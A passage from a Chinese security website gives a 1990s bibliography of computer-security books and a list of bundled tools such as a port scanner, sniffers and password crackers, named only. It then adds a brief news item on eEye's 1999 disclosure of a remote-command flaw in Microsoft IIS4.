1996 Davis,P.T. & Lewis,B.D. 1996 <计算机安全保密指南:傻瓜书> IDG. 电子工业出版社 1997 Samsa Cheung 1999. <网络嗅探器原理及技术实现> 尚未出版 [美]无名氏 1997. <网络最高安全技术指南> 机械工业出版社 1998 余建斌 1998. <黑客的攻击手段及用户对策> 人民邮电出版社 朱三元,杨明,薛钫 1994. <网络通信软件设计指南> 清华大学出版社 Appendix B: 附带软件 1,port_scan2,samsa-dix3,john the riper4,xwatchwin5,samsa-snif : dlpi-based & platform-independent using pcap library6,satan7,cops1 1999年6月8日,eEye - Digital Security Team小组发现了Windows NT的IIS4上有一个致命漏洞,允许攻击者执行IIS4 WWW服务器上的任何命令,也即:获得绝对控制权。这个小组首先通知了Microsoft,准备在Microsoft给出相应的系统补丁和通告其用户后才在Internet上公布如果利用这个漏洞的技术细节;整整8天过去了,Microsoft不知出于傲慢还是别的什么动机,竟然对此毫不理睬,于是该小组就在Internet上公布了这个消息和一切技术细节(包括exploit程序):http://www.eEye.com/。据估计,90%的Microsoft WWW服务器有这个毛病,也就是,90%使用Microsoft WWW服务器的网站是不安全的,而时至今日,微软仍然没有给出任何解决办法,而是任其用户暴露在这样的危险之下——讳疾忌医的恶果其烈如此。  
小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论


新出炉

返回顶部